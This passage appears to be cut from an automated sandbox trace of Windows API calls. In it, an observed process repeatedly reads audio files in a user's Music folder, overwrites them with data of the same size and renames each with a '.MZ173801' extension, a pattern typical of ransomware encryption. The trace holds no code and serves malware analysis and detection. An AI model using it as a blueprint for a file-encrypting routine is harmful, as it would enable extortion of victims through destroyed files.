nNumberOfBytesToRead=0x49ea, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x49ea, lpOverlapped=0x0) returned 1 [0123.524] CloseHandle (hObject=0x290) returned 1 [0123.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\Tc1e2VKe19oXjZr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\tc1e2vke19oxjzr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.525] WriteFile (in: hFile=0x290, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x49ea, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f404*=0x49ea, lpOverlapped=0x0) returned 1 [0123.527] CloseHandle (hObject=0x290) returned 1 [0123.535] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\Tc1e2VKe19oXjZr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\tc1e2vke19oxjzr.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\Tc1e2VKe19oXjZr.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\tc1e2vke19oxjzr.mp3.mz173801")) returned 1 [0123.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\VBqlofuLkCD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\vbqlofulkcd.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.538] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.538] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.538] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xc378 [0123.538] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.539] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0xc378, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0xc378, lpOverlapped=0x0) returned 1 [0123.540] CloseHandle (hObject=0x290) returned 1 [0123.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\VBqlofuLkCD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\vbqlofulkcd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.542] WriteFile (in: hFile=0x290, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc378, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f404*=0xc378, lpOverlapped=0x0) returned 1 [0123.543] CloseHandle (hObject=0x290) returned 1 [0123.552] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\VBqlofuLkCD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\vbqlofulkcd.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\VBqlofuLkCD.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\vbqlofulkcd.wav.mz173801")) returned 1 [0123.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\ZyBi npUNfP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\zybi npunfp.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.556] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.556] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.556] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x3bf7 [0123.556] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.556] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x3bf7, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x3bf7, lpOverlapped=0x0) returned 1 [0123.557] CloseHandle (hObject=0x290) returned 1 [0123.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\ZyBi npUNfP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\zybi npunfp.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.559] WriteFile (in: hFile=0x290, lpBuffer=0x718540*, nNumberOfBytesToWrite=0x3bf7, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x718540*, lpNumberOfBytesWritten=0x18f404*=0x3bf7, lpOverlapped=0x0) returned 1 [0123.560] CloseHandle (hObject=0x290) returned 1 [0123.564] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\ZyBi npUNfP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\zybi npunfp.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\ZyBi npUNfP.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\zybi npunfp.wav.mz173801")) returned 1 [0123.570] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\6gcPGajvWYg16Hy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\6gcpgajvwyg16hy.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.570] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.570] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.570] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x75e9 [0123.571] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.571] ReadFile (in: hFile=0x28c, lpBuffer=0x71c870, nNumberOfBytesToRead=0x75e9, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f6c4*=0x75e9, lpOverlapped=0x0) returned 1 [0123.572] CloseHandle (hObject=0x28c) returned 1 [0123.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\6gcPGajvWYg16Hy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\6gcpgajvwyg16hy.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.574] WriteFile (in: hFile=0x28c, lpBuffer=0x7248a0*, nNumberOfBytesToWrite=0x75e9, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7248a0*, lpNumberOfBytesWritten=0x18f6d0*=0x75e9, lpOverlapped=0x0) returned 1 [0123.576] CloseHandle (hObject=0x28c) returned 1 [0123.577] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\6gcPGajvWYg16Hy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\6gcpgajvwyg16hy.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\6gcPGajvWYg16Hy.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\6gcpgajvwyg16hy.wav.mz173801")) returned 1 [0123.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\a902.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\a902.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.616] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.616] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.616] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x60f [0123.616] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.616] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x60f, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x60f, lpOverlapped=0x0) returned 1 [0123.617] CloseHandle (hObject=0x28c) returned 1 [0123.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\a902.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\a902.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.619] WriteFile (in: hFile=0x28c, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x60f, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0x60f, lpOverlapped=0x0) returned 1 [0123.620] CloseHandle (hObject=0x28c) returned 1 [0123.624] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\a902.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\a902.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\a902.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\a902.m4a.mz173801")) returned 1 [0123.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\FyKhkbKZoNVhQrAM2GF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\fykhkbkzonvhqram2gf.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.791] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.791] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.791] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x137c1 [0123.791] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.791] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x137c1, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x137c1, lpOverlapped=0x0) returned 1 [0123.793] CloseHandle (hObject=0x28c) returned 1 [0123.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\FyKhkbKZoNVhQrAM2GF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\fykhkbkzonvhqram2gf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.797] WriteFile (in: hFile=0x28c, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x137c1, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f6d0*=0x137c1, lpOverlapped=0x0) returned 1 [0123.799] CloseHandle (hObject=0x28c) returned 1 [0123.805] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\FyKhkbKZoNVhQrAM2GF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\fykhkbkzonvhqram2gf.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\FyKhkbKZoNVhQrAM2GF.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\fykhkbkzonvhqram2gf.mp3.mz173801")) returned 1 [0123.809] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\I2xhTqHYJhEC.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\i2xhtqhyjhec.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.809] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.809] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.809] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x156bf [0123.809] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.809] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x156bf, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x156bf, lpOverlapped=0x0) returned 1 [0123.810] CloseHandle (hObject=0x28c) returned 1 [0123.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\I2xhTqHYJhEC.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\i2xhtqhyjhec.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.813] WriteFile (in: hFile=0x28c, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x156bf, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f6d0*=0x156bf, lpOverlapped=0x0) returned 1 [0123.815] CloseHandle (hObject=0x28c) returned 1 [0123.817] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\I2xhTqHYJhEC.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\i2xhtqhyjhec.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\I2xhTqHYJhEC.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\i2xhtqhyjhec.wav.mz173801")) returned 1 [0123.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\uaTJGtly6xfA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\uatjgtly6xfa.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.821] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.821] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.821] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x65cd [0123.821] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.821] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x65cd, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x65cd, lpOverlapped=0x0) returned 1 [0123.822] CloseHandle (hObject=0x28c) returned 1 [0123.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\uaTJGtly6xfA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\uatjgtly6xfa.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.823] WriteFile (in: hFile=0x28c, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x65cd, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f6d0*=0x65cd, lpOverlapped=0x0) returned 1 [0123.825] CloseHandle (hObject=0x28c) returned 1 [0123.826] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\uaTJGtly6xfA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\uatjgtly6xfa.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\uaTJGtly6xfA.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\uatjgtly6xfa.m4a.mz173801")) returned 1 [0123.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\wQh-4cmr.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\wqh-4cmr.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.830] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.830] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.830] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xae6c [0123.830] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.830] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0xae6c, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xae6c, lpOverlapped=0x0) returned 1 [0123.832] CloseHandle (hObject=0x28c) returned 1 [0123.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\wQh-4cmr.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\wqh-4cmr.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.834] WriteFile (in: hFile=0x28c, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xae6c, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f6d0*=0xae6c, lpOverlapped=0x0) returned 1 [0123.835] CloseHandle (hObject=0x28c) returned 1 [0123.837] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\wQh-4cmr.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\wqh-4cmr.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\wQh-4cmr.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\wqh-4cmr.m4a.mz173801")) returned 1 [0123.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\Yp-ZLbM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\yp-zlbm.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.840] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.840] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.840] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xaa56 [0123.840] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.840] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0xaa56, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xaa56, lpOverlapped=0x0) returned 1 [0123.841] CloseHandle (hObject=0x28c) returned 1 [0123.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\Yp-ZLbM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\yp-zlbm.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.843] WriteFile (in: hFile=0x28c, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xaa56, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f6d0*=0xaa56, lpOverlapped=0x0) returned 1 [0123.845] CloseHandle (hObject=0x28c) returned 1 [0123.846] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\Yp-ZLbM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\yp-zlbm.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\Yp-ZLbM.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\yp-zlbm.mp3.mz173801")) returned 1 [0123.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\_VP-6ETpnQ40FqCnwVHM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\_vp-6etpnq40fqcnwvhm.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.851] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.851] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: 